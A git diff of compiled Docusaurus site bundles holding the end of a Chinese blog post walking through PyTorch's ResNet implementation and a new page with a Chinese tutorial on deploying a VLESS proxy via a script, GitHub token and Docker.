Zero-initialize the last BN in each residual branch,\n # so that the residual branch starts with zeros, and each residual block behaves like an identity.\n # This improves the model by 0.2~0.3% according to https://arxiv.org/abs/1706.02677\n if zero_init_residual:\n for m in self.modules():\n if isinstance(m, Bottleneck) and m.bn3.weight is not None:\n nn.init.constant_(m.bn3.weight, 0) # type: ignore[arg-type]\n elif isinstance(m, BasicBlock) and m.bn2.weight is not None:\n nn.init.constant_(m.bn2.weight, 0) # type: ignore[arg-type]\n\t# \u5c42\u6b21\u5316\u8bbe\u8ba1\n def _make_layer(\n self,\n block: Type[Union[BasicBlock, Bottleneck]], # \u57fa\u672c\u6784\u6210\u6a21\u5757\u9009\u62e9\n planes: int, # \u8f93\u5165\u7684\u901a\u9053\n blocks: int, # \u6a21\u5757\u6570\u76ee\n stride: int = 1, # \u6b65\u957f\n dilate: bool = False, # \u7a7a\u6d1e\u5377\u79ef\uff0c\u4e0e\u672c\u6587\u65e0\u5173\n ) -> nn.Sequential:\n norm_layer = self._norm_layer\n downsample = None # \u662f\u5426\u91c7\u7528\u4e0b\u91c7\u6837\n ####################\u65e0\u5173#####################\n previous_dilation = self.dilation \n if dilate:\n self.dilation *= stride\n stride = 1\n #############################################\n if stride != 1 or self.inplanes != planes * block.expansion:\n downsample = nn.Sequential(\n conv1x1(self.inplanes, planes * block.expansion, stride),\n norm_layer(planes * block.expansion),\n )\n\t\t\n # \u4f7f\u7528layers\u5b58\u50a8\u6bcf\u4e2alayer\n layers = []\n layers.append(\n block(\n self.inplanes, planes, stride, downsample, self.groups, self.base_width, previous_dilation, norm_layer\n )\n )\n self.inplanes = planes * block.expansion\n for _ in range(1, blocks):\n layers.append(\n block(\n self.inplanes,\n planes,\n groups=self.groups,\n base_width=self.base_width,\n dilation=self.dilation,\n norm_layer=norm_layer,\n )\n )\n\t\t# \u5c06layers\u901a\u8fc7nn.Sequential\u8f6c\u5316\u4e3a\u7f51\u7edc\n return nn.Sequential(*layers)\n\n def _forward_impl(self, x: Tensor) -> Tensor:\n # See note [TorchScript super()]\n x = self.conv1(x) # conv1 x shape [1 64 112 112]\n x = self.bn1(x) # \u5f52\u4e00\u5316\u5904\u7406 \n x = self.relu(x) # \u6fc0\u6d3b\u51fd\u6570\n x = self.maxpool(x) # conv2_x\u76843x3 maxpool x shape [1 64 56 56]\n\n x = self.layer1(x) # layer 1\n x = self.layer2(x) # layer 2\n x = self.layer3(x) # layer 3\n x = self.layer4(x) # layer 4\n\n x = self.avgpool(x) # \u81ea\u9002\u5e94\u6c60\u5316\n x = torch.flatten(x, 1) \n x = self.fc(x) # \u5206\u7c7b\n\n return x\n\n def forward(self, x: Tensor) -> Tensor:\n return self._forward_impl(x) \n'})}),"\n",(0,t.jsx)(e.p,{children:"\u89c2\u5bdf\u4e0a\u8ff0\u4ee3\u7801\uff0c\u6211\u4eec\u4e0d\u96be\u770b\u5230\uff0c\u9996\u5148\u662f\u4e00\u4e2a7 x 7\u7684\u5377\u79ef\u4f5c\u7528\u5728\u8f93\u5165\u76843\u7ef4\u56fe\u7247\u4e0a\uff0c\u5e76\u8f93\u5165\u4e00\u4e2a64\u7ef4\u7684\u7279\u5f81\u56fe\uff08\u5373self.inplanes\u7684\u521d\u59cb\u503c\uff09\uff0c\u901a\u8fc7BatchNorm\u5c42\uff0cReLU\u5c42\uff0cMaxPool\u5c42\uff1b\u7136\u540e\u7ecf\u8fc7_make_layer()\u51fd\u6570\u6784\u5efa\u76844\u5c42layer\uff0c\u6700\u540e\u7ecf\u8fc7\u4e00\u4e2aAveragePooling\u5c42\uff0c\u518d\u7ecf\u8fc7\u4e00\u4e2afc\u5c42\u5f97\u5230\u5206\u7c7b\u8f93\u51fa\u3002\u5728\u7f51\u7edc\u642d\u5efa\u8d77\u6765\u540e\uff0c\u8fd8\u5bf9\u6a21\u578b\u7684\u53c2\u6570(Conv2d\u3001BatchNorm2d\u3001last BN)\u8fdb\u884c\u4e86\u521d\u59cb\u5316\u3002"}),"\n",(0,t.jsx)(e.p,{children:"\u800c\u5bf9\u4e8e_make_layer\u51fd\u6570\uff0c\u4e00\u4e2a_make_layer()\u6784\u5efa\u4e00\u4e2alayer\u5c42\uff0c\u6bcf\u4e00\u4e2alayer\u5c42\u662f\u4e0a\u8ff0\u4e24\u79cd\u57fa\u672c\u6a21\u5757\u7684\u5806\u53e0\u3002\u8f93\u5165\u53c2\u6570\u4e2dblock\u4ee3\u8868\u8be5layer\u5806\u53e0\u6a21\u5757\u7684\u7c7b\u578b\uff0c\u53ef\u9009BasicBlock\u6216\u8005BottleNeck\uff1bblocks\u4ee3\u8868\u8be5layer\u4e2d\u5806\u53e0\u7684block\u7684\u6570\u76ee\uff1bplanes\u4e0e\u8be5layer\u6700\u7ec8\u8f93\u51fa\u7684\u7ef4\u5ea6\u6570\u6709\u5173\uff0c\u6ce8\u610f\u6700\u7ec8\u8f93\u51fa\u7684\u7ef4\u5ea6\u6570\u4e3aplanes * block.expansion\u3002\u9664\u6b64\u4e4b\u5916\uff0c _make_layer()\u662f\u7528\u6765\u751f\u6210\u6b8b\u5dee\u5757\u7684\uff0c\u8fd9\u5c31\u7275\u626f\u5230\u5b83\u7684\u7b2c\u56db\u4e2a\u53c2\u6570\uff1astride\uff0c\u5373\u5377\u79ef\u6b65\u5e45\u3002\u8be5\u51fd\u6570\u4e2d\u9996\u5148\u5b9a\u4e49\u4e86\u5982\u679cstride\u4e0d\u7b49\u4e8e1\u6216\u8005\u7ef4\u5ea6\u4e0d\u5339\u914d\uff08\u5373\u8f93\u5165\u901a\u9053\u4e0d\u6ee1\u8db3\u5bf9\u5e94\u5173\u7cfb\uff09\u7684\u65f6\u5019\u7684downsample\uff0c\u7136\u540e\u5bf9\u5176\u8fdb\u884c\u4e00\u6b21BN\u64cd\u4f5c\u3002\u63a5\u7740\u5bf9inplanes\u548cplanes\u4e0d\u4e00\u81f4\u7684\u60c5\u51b5\u8fdb\u884c\u4e86\u4e00\u6b21downsample \uff0c\u5373\u5c06\u5e26downsample\u7684block\u6dfb\u52a0\u81f3layers\u3002\u8fd9\u6837\u4fdd\u8bc1\u4e86x\u548cout\u7684\u7ef4\u5ea6\u4e00\u81f4\uff0c\u63a5\u4e0b\u6765\u901a\u8fc7\u4e00\u4e2a\u5faa\u73af\u6dfb\u52a0\u4e86\u6307\u5b9a\u4e2a\u6570\u7684Block\uff0c\u7531\u4e8ex\u5df2\u7ecf\u7ef4\u5ea6\u4e00\u81f4\u4e86\uff0c\u8fd9\u6837\u6dfb\u52a0\u7684\u5176\u4ed6\u7684Block\u5c31\u53ef\u4ee5\u4e0d\u7528\u964d\u7ef4\u4e86\uff0c\u6240\u4ee5\u5faa\u73af\u6dfb\u52a0\u4e0d\u542bDownsample\u7684Block\u3002\u6b63\u5982\u4e0b\u9762\u4ee3\u7801\u6240\u793a"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"if stride != 1 or self.inplanes != planes * block.expansion:\n downsample = nn.Sequential(\n conv1x1(self.inplanes, planes * block.expansion, stride),\n norm_layer(planes * block.expansion),\n )\n"})}),"\n",(0,t.jsx)(e.p,{children:"\u5f53\u4e00\u4e2alayer\u5305\u542b\u591a\u4e2ablock\u65f6\uff0c\u662f\u901a\u8fc7\u5411layers\u5217\u8868\u4e2d\u4f9d\u6b21\u52a0\u5165\u6bcf\u4e2ablock\uff0c\u6765\u5b9e\u73b0block\u7684\u5806\u53e0\u7684\u3002\u7b2c\u4e00\u4e2ablock\u9700\u8981\u7279\u6b8a\u5904\u7406\uff0c\u8be5block\u4f9d\u636e\u4f20\u5165\u7684self.inplanes, planes\u4ee5\u53castride\u5224\u65ad\uff0c\u53ef\u80fd\u542b\u6709downsample\u652f\u8def\uff1b\u8fd9\u4e2ablock\u7684\u8f93\u51fa\u7ef4\u5ea6\u662fplanes*block.expansion\u3002\u7d27\u63a5\u7740\u4fbf\u628aself.inplanes\u66f4\u65b0\u4e3a\u6b64\u503c\u4f5c\u4e3a\u540e\u7eedblock\u7684\u8f93\u5165\u7ef4\u5ea6\u3002\u540e\u9762\u7684block\u7684stride\u4e3a\u9ed8\u8ba4\u503c1\uff0c\u540c\u65f6\uff0c\u7531\u4e8e\u8f93\u5165\u4e3aself.inplanes\uff0c\u8f93\u51fa\u4e3aplanes*block.expansion\uff0c\u800cself.inplanes = planes * block.expansion\uff0c\u56e0\u6b64\u4e0d\u4f1a\u51fa\u73b0\u7279\u5f81\u56fe\u5927\u5c0f\u6216\u8005\u5c3a\u5bf8\u4e0d\u4e00\u81f4\u7684\u60c5\u51b5\uff0c\u4e0d\u53ef\u80fd\u51fa\u73b0downsample\u64cd\u4f5c\u3002"}),"\n",(0,t.jsx)(e.h2,{id:"3-\u603b\u7ed3",children:"3 \u603b\u7ed3"}),"\n",(0,t.jsx)(e.p,{children:"\u4e0e\u666e\u901a\u7684\u7f51\u7edc\u76f8\u6bd4\uff0cResNet\u6700\u5927\u7684\u4f18\u52bf\u5c31\u662f\u5f15\u5165\u4e86Shortcut\u8fd9\u4e2a\u652f\u8def\uff0c\u8ba9\u67d0\u4e00\u5c42\u53ef\u4ee5\u76f4\u63a5\u8fde\u63a5\u5230\u540e\u9762\u7684\u5c42\uff0c\u4f7f\u5f97\u540e\u9762\u7684\u5c42\u53ef\u4ee5\u76f4\u63a5\u5b66\u4e60\u6b8b\u5dee\u3002\u4f20\u7edf\u7684\u5377\u79ef\u5c42\u6216\u5168\u8fde\u63a5\u5c42\u5728\u4fe1\u606f\u4f20\u9012\u65f6\uff0c\u6216\u591a\u6216\u5c11\u4f1a\u5b58\u5728\u4fe1\u606f\u4e22\u5931\u3001\u635f\u8017\u7b49\u95ee\u9898\u3002ResNet \u5728\u67d0\u79cd\u7a0b\u5ea6\u4e0a\u89e3\u51b3\u4e86\u8fd9\u4e2a\u95ee\u9898\uff0c\u901a\u8fc7\u76f4\u63a5\u5c06\u8f93\u5165\u4fe1\u606f\u7ed5\u9053\u4f20\u5230\u8f93\u51fa\uff0c\u4fdd\u62a4\u4fe1\u606f\u7684\u5b8c\u6574\u6027\uff0c\u6574\u4e2a\u7f51\u7edc\u5219\u53ea\u9700\u8981\u5b66\u4e60\u8f93\u5165\u3001\u8f93\u51fa\u5dee\u522b\u7684\u90a3\u4e00\u90e8\u5206\uff0c\u7b80\u5316\u5b66\u4e60\u76ee\u6807\u548c\u96be\u5ea6\u3002"}),"\n",(0,t.jsx)(e.p,{children:"ResNet\u7684\u51fa\u73b0\uff0c\u5728\u4e00\u5b9a\u7a0b\u5ea6\u4e0a\u89e3\u51b3\u4e86\u5377\u79ef\u795e\u7ecf\u7f51\u7edc\u968f\u6df1\u5ea6\u7684\u589e\u52a0\uff0c\u4f46\u662f\u6a21\u578b\u6548\u679c\u5374\u53d8\u5dee\u7684\u95ee\u9898\uff0c\u7528\u4f5c\u8005\u7684\u8bdd\u8bf4\uff0c\u5c31\u662f: \u201cOur deep residual nets can easily enjoy accuracy gains from greatly increased depth, producing results substantially better than previous networks.\u201d\u3002\u539f\u59cb\u7684ResNet\u5bf9\u4e8e\u8bad\u7ec3\u5377\u79ef\u795e\u7ecf\u7f51\u8def\u505a\u51fa\u4e86\u5f88\u5927\u7684\u8d21\u732e\uff0c\u4f46\u662f\u540c\u6837\u4e5f\u6709\u7740\u8bb8\u591a\u53ef\u4ee5\u6539\u8fdb\u7684\u5730\u65b9\u3002\u968f\u7740\u65f6\u4ee3\u7684\u53d1\u5c55\uff0c\u539f\u7248\u7684ResNet\u5728\u4e00\u6b21\u53c8\u4e00\u6b21\u7684\u7814\u7a76\u4e2d\u5f97\u5230\u4e86\u4e30\u5bcc\u548c\u5b8c\u5584\uff0c\u884d\u751f\u51fa\u4e86\u4e30\u5bcc\u7684\u6539\u8fdb\u7684\u6a21\u578b\uff0c\u5982ResNeXt\u3002\u5b83\u63d0\u51fa\u4e86\u4e00\u79cd\u4ecb\u4e8e\u666e\u901a\u5377\u79ef\u6838\u6df1\u5ea6\u53ef\u5206\u79bb\u5377\u79ef\u7684\u8fd9\u79cd\u7b56\u7565\uff1a\u5206\u7ec4\u5377\u79ef\u3002\u901a\u8fc7\u63a7\u5236\u5206\u7ec4\u7684\u6570\u91cf\uff08\u57fa\u6570\uff09\u6765\u8fbe\u5230\u4e24\u79cd\u7b56\u7565\u7684\u5e73\u8861\u3002\u5206\u7ec4\u5377\u79ef\u7684\u601d\u60f3\u662f\u6e90\u81eaInception\uff0c\u4e0d\u540c\u4e8eInception\u7684\u9700\u8981\u4eba\u5de5\u8bbe\u8ba1\u6bcf\u4e2a\u5206\u652f\uff0cResNeXt\u7684\u6bcf\u4e2a\u5206\u652f\u7684\u62d3\u6251\u7ed3\u6784\u662f\u76f8\u540c\u7684\u3002\u6700\u540e\u518d\u7ed3\u5408\u6b8b\u5dee\u7f51\u7edc\uff0c\u5f97\u5230\u7684\u4fbf\u662f\u6700\u7ec8\u7684ResNeXt\u3002"}),"\n",(0,t.jsx)(e.p,{children:"\u9664\u6b64\u4e4b\u5916\uff0cResNet\u8fd8\u6709\u5176\u5b83\u53d8\u4f53\u5982Wider ResNet\uff0cDarkNet53\u7b49\u3002\u5b83\u4eec\u7684\u6539\u8fdb\u76f8\u5bf9\u8f83\u5927\uff0c\u5c24\u5176\u662fDarkNet53\uff0c\u5b83\u548cResNet\u5df2\u7ecf\u6709\u5f88\u5927\u4e0d\u540c\u4e86\uff0c\u53ea\u662f\u4f7f\u7528\u5230\u4e86\u6b8b\u5dee\u8fde\u63a5\u4ece\u800c\u590d\u7528\u7279\u5f81\u800c\u5df2\u3002\u603b\u800c\u8a00\u4e4b\uff0cResNet\u4f5c\u4e3a\u5377\u79ef\u795e\u7ecf\u7f51\u7edc\u7684\u4e00\u4e2a\u91cc\u7a0b\u7891\u5f0f\u7684\u6a21\u578b\u4e00\u76f4\u5728\u5404\u4e2a\u9886\u57df\u88ab\u5e94\u7528\uff0c\u56e0\u6b64\u6211\u4eec\u5b66\u4e60\u8fd9\u6837\u4e00\u4e2a\u6a21\u578b\u67b6\u6784\u5f88\u6709\u5fc5\u8981\u3002\u6beb\u4e0d\u5938\u5f20\u7684\u8bf4\uff0cResNet\u503c\u5f97\u6bcf\u4e00\u4e2a\u5b66\u4e60\u6df1\u5ea6\u5b66\u4e60\u7684\u5b66\u5b50\u8ba4\u771f\u7814\u7a76\u3002"})]})}function p(n={}){const{wrapper:e}={...(0,i.R)(),...n.components};return e?(0,t.jsx)(e,{...n,children:(0,t.jsx)(d,{...n})}):d(n)}},88723:(n,e,s)=>{s.d(e,{A:()=>l});const l=s.p+"assets/images/shortcut-332ff3aeabe351ba9b4c933bfdebea1f.jpg"}}]); \ No newline at end of file diff --git a/assets/js/46c3677d.e32e2d88.js b/assets/js/46c3677d.e32e2d88.js new file mode 100644 index 0000000..e0add90 --- /dev/null +++ b/assets/js/46c3677d.e32e2d88.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[7963],{7534:(e,s,t)=>{t.d(s,{A:()=>n});const n=t.p+"assets/images/image-20230128193444435-6a6f34a732a6e778e2da6c49e4d1f903.png"},15466:(e,s,t)=>{t.d(s,{A:()=>n});const n=t.p+"assets/images/image-20230126233017504-0348241a3d40094190f033caf96181c0.png"},26362:(e,s,t)=>{t.r(s),t.d(s,{assets:()=>c,contentTitle:()=>d,default:()=>o,frontMatter:()=>r,metadata:()=>n,toc:()=>h});const n=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51-\u81ea\u52a8\u5316","title":"\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51-\u81ea\u52a8\u5316","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/03.\u4ee3\u7406\u7c7b/04.\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51-\u81ea\u52a8\u5316.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/03.\u4ee3\u7406\u7c7b","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51-\u81ea\u52a8\u5316","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51-\u81ea\u52a8\u5316","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/08.\u5de5\u5177\u5206\u4eab/03.\u4ee3\u7406\u7c7b/04.\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51-\u81ea\u52a8\u5316.md","tags":[],"version":"current","sidebarPosition":4,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u4f7f\u7528go\u5236\u4f5c\u7b80\u6613\u4ee3\u7406\u7c7b","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u4f7f\u7528go\u5236\u4f5c\u7b80\u6613\u4ee3\u7406\u7c7b"},"next":{"title":"\u57fa\u4e8ecloudflare\u642d\u5efatrojan\u4ee3\u7406","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u5de5\u5177\u5206\u4eab/\u4ee3\u7406\u7c7b/\u57fa\u4e8ecloudflare\u642d\u5efatrojan\u4ee3\u7406"}}');var i=t(74848),l=t(28453);const r={},d="\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51 - \u81ea\u52a8\u5316",c={},h=[{value:"\u524d\u6cbf",id:"\u524d\u6cbf",level:2},{value:"\u51c6\u5907",id:"\u51c6\u5907",level:2},{value:"\u521b\u5efagithub\u4ed3\u5e93",id:"\u521b\u5efagithub\u4ed3\u5e93",level:3},{value:"\u5efa\u7acb\u4ed3\u5e93\uff0c\u70b9\u51fbnew",id:"\u5efa\u7acb\u4ed3\u5e93\u70b9\u51fbnew",level:4},{value:"\u586b\u597d\u540d\u5b57\uff0c\u5e76\u70b9\u51fb Create repository",id:"\u586b\u597d\u540d\u5b57\u5e76\u70b9\u51fb-create-repository",level:4},{value:"\u521b\u5efa\u6210\u529f\u81ea\u52a8\u8df3\u8f6c\uff0c\u4ee3\u8868\u4f60\u6210\u529f\u4e86",id:"\u521b\u5efa\u6210\u529f\u81ea\u52a8\u8df3\u8f6c\u4ee3\u8868\u4f60\u6210\u529f\u4e86",level:4},{value:"\u521b\u5efatoken",id:"\u521b\u5efatoken",level:3},{value:"setting -> Developer settings",id:"setting---developer-settings",level:4},{value:"\u521b\u5efa\u7ecf\u5178\u7684token \u4e0d\u4f1a\u8fc7\u671f",id:"\u521b\u5efa\u7ecf\u5178\u7684token-\u4e0d\u4f1a\u8fc7\u671f",level:4},{value:"\u586b\u597d\uff0c\u521b\u5efa\u5c31\u884c\u4e86",id:"\u586b\u597d\u521b\u5efa\u5c31\u884c\u4e86",level:4},{value:"\u547d\u4ee4",id:"\u547d\u4ee4",level:2},{value:"\u8fd0\u884c\u6210\u529f\u7684\u753b\u9762",id:"\u8fd0\u884c\u6210\u529f\u7684\u753b\u9762",level:2},{value:"\u4e0d\u7528\u4e86\uff0c\u5220\u9664",id:"\u4e0d\u7528\u4e86\u5220\u9664",level:2},{value:"\u5ba2\u6237\u7aef\u9009\u62e9",id:"\u5ba2\u6237\u7aef\u9009\u62e9",level:2}];function a(e){const s={a:"a",blockquote:"blockquote",code:"code",del:"del",h1:"h1",h2:"h2",h3:"h3",h4:"h4",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...e.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsxs)(s.table,{children:[(0,i.jsx)(s.thead,{children:(0,i.jsxs)(s.tr,{children:[(0,i.jsx)(s.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(s.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(s.tbody,{children:(0,i.jsxs)(s.tr,{children:[(0,i.jsx)(s.td,{style:{textAlign:"left"},children:(0,i.jsx)(s.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,i.jsx)(s.td,{style:{textAlign:"left"},children:"2024-01-12 00:01:36"})]})})]}),"\n",(0,i.jsx)(s.header,{children:(0,i.jsx)(s.h1,{id:"\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51---\u81ea\u52a8\u5316",children:"\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51 - \u81ea\u52a8\u5316"})}),"\n",(0,i.jsx)(s.h2,{id:"\u524d\u6cbf",children:"\u524d\u6cbf"}),"\n",(0,i.jsxs)(s.blockquote,{children:["\n",(0,i.jsxs)(s.p,{children:["\u8fd9\u4e00\u7bc7\u6587\u7ae0\u662f\u6839\u636e ",(0,i.jsx)(s.a,{href:"https://book.wjlin0.com/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/04.%E6%9C%AA%E5%88%86%E7%B1%BB%E7%9A%84/01.%E4%BB%A3%E7%90%86%E7%B1%BB/01.%E5%9F%BA%E4%BA%8Evless%E7%9A%84%E7%A7%91%E5%AD%A6%E4%B8%8A%E7%BD%91.html",children:"\u57fa\u4e8evless\u7684\u79d1\u5b66\u4e0a\u7f51"})," \u7684 \u62d3\u5c55 \uff0c\u5982\u679c\u4f60\u6ca1\u770b\u8fc7\u4e5f\u6ca1\u5173\u7cfb \u770b\u8fd9\u4e00\u7bc7\u4e5f\u8db3\u591f\u4e86"]}),"\n"]}),"\n",(0,i.jsx)(s.h2,{id:"\u51c6\u5907",children:"\u51c6\u5907"}),"\n",(0,i.jsxs)(s.ul,{children:["\n",(0,i.jsx)(s.li,{children:"(ubuntu\u3001centos\u90fd\u53ef\u4ee5) vps\u3001\u57df\u540d \uff08\u5982\u679c\u6709\u591a\u53f0vps\u7684\u8bdd\uff0c\u66f4\u6362\u57df\u540d\u540e\uff0c\u8fd0\u884c\u5373\u53ef\u591a\u53f0\u7684\u8282\u70b9\u90fd\u53ef\u4ee5\u6dfb\u52a0\u4e0a\uff09"}),"\n",(0,i.jsxs)(s.li,{children:["\u4e00\u4e2agithub\u4ed3\u5e93\uff08\u516c\u5f00\u7684\uff0c\u975e\u516c\u5f00\u7684\u5e93\u8bbf\u95ee\u56f0\u96be\uff0c",(0,i.jsx)(s.del,{children:"\u6839\u636egithub\u7684API\u53ef\u4ee5\u8bbf\u95ee\u79c1\u5e93\uff0c\u4e0d\u8fc7\u5f97\u914d\u7f6ehttp\u8bf7\u6c42\u5934\uff0c\u6240\u4ee5\u4e0d\u652f\u6301\u7684\u5ba2\u6237\u7aef\u662f\u8bbf\u95ee\u4e0d\u5230\u7684"}),"\uff09\uff0c\u4e00\u4e2agithub\u7684 token"]}),"\n"]}),"\n",(0,i.jsx)(s.h3,{id:"\u521b\u5efagithub\u4ed3\u5e93",children:"\u521b\u5efagithub\u4ed3\u5e93"}),"\n",(0,i.jsx)(s.h4,{id:"\u5efa\u7acb\u4ed3\u5e93\u70b9\u51fbnew",children:"\u5efa\u7acb\u4ed3\u5e93\uff0c\u70b9\u51fbnew"}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20230128193042426",src:t(62356).A+"",width:"1374",height:"255"})}),"\n",(0,i.jsx)(s.h4,{id:"\u586b\u597d\u540d\u5b57\u5e76\u70b9\u51fb-create-repository",children:"\u586b\u597d\u540d\u5b57\uff0c\u5e76\u70b9\u51fb Create repository"}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20230128193352389",src:t(50686).A+"",width:"1093",height:"796"})}),"\n",(0,i.jsx)(s.h4,{id:"\u521b\u5efa\u6210\u529f\u81ea\u52a8\u8df3\u8f6c\u4ee3\u8868\u4f60\u6210\u529f\u4e86",children:"\u521b\u5efa\u6210\u529f\u81ea\u52a8\u8df3\u8f6c\uff0c\u4ee3\u8868\u4f60\u6210\u529f\u4e86"}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20230128193444435",src:t(7534).A+"",width:"1335",height:"530"})}),"\n",(0,i.jsx)(s.h3,{id:"\u521b\u5efatoken",children:"\u521b\u5efatoken"}),"\n",(0,i.jsx)(s.h4,{id:"setting---developer-settings",children:"setting -> Developer settings"}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20230128193751302",src:t(54132).A+"",width:"1479",height:"758"})}),"\n",(0,i.jsx)(s.h4,{id:"\u521b\u5efa\u7ecf\u5178\u7684token-\u4e0d\u4f1a\u8fc7\u671f",children:"\u521b\u5efa\u7ecf\u5178\u7684token \u4e0d\u4f1a\u8fc7\u671f"}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20230128194009339",src:t(52789).A+"",width:"1504",height:"576"})}),"\n",(0,i.jsx)(s.h4,{id:"\u586b\u597d\u521b\u5efa\u5c31\u884c\u4e86",children:"\u586b\u597d\uff0c\u521b\u5efa\u5c31\u884c\u4e86"}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20230128194306255",src:t(34366).A+"",width:"1019",height:"686"})}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20230128194324721",src:t(94982).A+"",width:"1214",height:"710"})}),"\n",(0,i.jsx)(s.h2,{id:"\u547d\u4ee4",children:"\u547d\u4ee4"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{children:"# \u5efa\u7acb\u4e3b\u76ee\u5f55,\u5e76\u8fdb\u5165\u76ee\u5f55\nmkdir /proxy && cd /proxy\n# \u5efa\u7acb\u914d\u7f6e\u6587\u4ef6, \u5e76\u5bfc\u5165\u8bc1\u4e66 \u57df\u540d.key\u3001\u57df\u540d.crt \u81f3 ./conf/ssl/\n# \u590d\u5236\u57df\u540d\u8bc1\u4e66\u5185\u5bb9\u81f3\u6587\u4ef6\u4e2d\nmkdir ./conf/ssl -p\n"})}),"\n",(0,i.jsxs)(s.blockquote,{children:["\n",(0,i.jsxs)(s.p,{children:["\u5bfc\u5165\u811a\u672c\u6587\u4ef6,\u586b\u5199\u76f8\u5173\u53c2\u6570 start.py -> ",(0,i.jsx)(s.a,{href:"https://book.wjlin0.com/%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93/04.%E6%9C%AA%E5%88%86%E7%B1%BB%E7%9A%84/01.%E4%BB%A3%E7%90%86%E7%B1%BB/start.py",children:"start.py"})]}),"\n",(0,i.jsx)(s.p,{children:"\u8fd0\u884c\uff0c\u6839\u636e \u63d0\u793a\u6392\u9519 \u7b2c\u4e00\u6b21\u5b89\u88c5\u4f1a\u6709\u70b9\u6162"}),"\n"]}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.code,{children:"python3 start.py"})}),"\n",(0,i.jsx)(s.h2,{id:"\u8fd0\u884c\u6210\u529f\u7684\u753b\u9762",children:"\u8fd0\u884c\u6210\u529f\u7684\u753b\u9762"}),"\n",(0,i.jsx)(s.p,{children:(0,i.jsx)(s.img,{alt:"image-20230126233017504",src:t(15466).A+"",width:"1283",height:"298"})}),"\n",(0,i.jsxs)(s.blockquote,{children:["\n",(0,i.jsx)(s.p,{children:"\u7136\u540e\u5bfc\u5165\u8ba2\u9605\u94fe\u63a5\u5373\u53ef"}),"\n"]}),"\n",(0,i.jsx)(s.h2,{id:"\u4e0d\u7528\u4e86\u5220\u9664",children:"\u4e0d\u7528\u4e86\uff0c\u5220\u9664"}),"\n",(0,i.jsx)(s.pre,{children:(0,i.jsx)(s.code,{children:"# \u8fdb\u5165\u5230\u76ee\u5f55\u4e2d\ncd /proxy\n# \u505c\u6389docker\u5bb9\u5668\ndocker-compose down\n# \u5220\u9664\u6574\u4e2a\u76ee\u5f55\nrm /proxy -rf\n"})}),"\n",(0,i.jsx)(s.h2,{id:"\u5ba2\u6237\u7aef\u9009\u62e9",children:"\u5ba2\u6237\u7aef\u9009\u62e9"}),"\n",(0,i.jsxs)(s.ul,{children:["\n",(0,i.jsxs)(s.li,{children:["windows\uff1a",(0,i.jsx)(s.a,{href:"https://www.qv2ray.com/",children:"winxray"}),"\u3001",(0,i.jsx)(s.a,{href:"https://github.com/2dust/v2rayN",children:"v2rayN"})]}),"\n",(0,i.jsxs)(s.li,{children:["linux\uff1a",(0,i.jsx)(s.a,{href:"https://v2raya.org/",children:"v2rayA"})]}),"\n",(0,i.jsxs)(s.li,{children:["ios\uff1a",(0,i.jsx)(s.a,{href:"https://shadowrocket.gitbook.io/shadowrocket/help",children:"Shadowrocket"})," # 